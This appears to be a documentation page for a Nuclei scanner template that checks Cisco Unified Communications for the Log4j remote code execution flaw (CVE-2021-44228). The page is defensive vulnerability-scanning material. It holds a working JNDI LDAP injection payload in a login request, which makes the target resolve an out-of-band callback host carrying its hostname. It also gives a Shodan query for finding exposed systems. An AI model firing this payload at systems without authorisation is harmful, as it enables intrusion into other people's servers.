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Cisco Unified Communications - Remote Code Execution (Apache Log4j)

ID: cisco-unified-communications-log4j

Severity: critical

Author: DhiyaneshDK

Tags: cve,cve2021,rce,jndi,log4j,cisco,kev,oast

Description

Section titled “Description”

Cisco Unified Communications is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: cisco-unified-communications-log4j


info:
  name: Cisco Unified Communications - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  description: Cisco Unified Communications is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:cisco:unified_communications_domain_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Cisco Unified"
    product: unified_communications_domain_manager
    vendor: cisco
  tags: cve,cve2021,rce,jndi,log4j,cisco,kev,oast
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - raw:
      - |
        POST /ccmadmin/j_security_check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/ccmadmin/showHome.do


        appNav=ccmadmin&j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}&j_password=admin


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022027ba34f84db4a9a6a5b869c1d6ee5d78c6a8de1e8d081ab7099c2b3c99bd0e5102210087f9e74455032022828831e745609e19212ef2d87a59fd241c657393f68627be:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/cisco/cisco-unified-communications-log4j.yaml"

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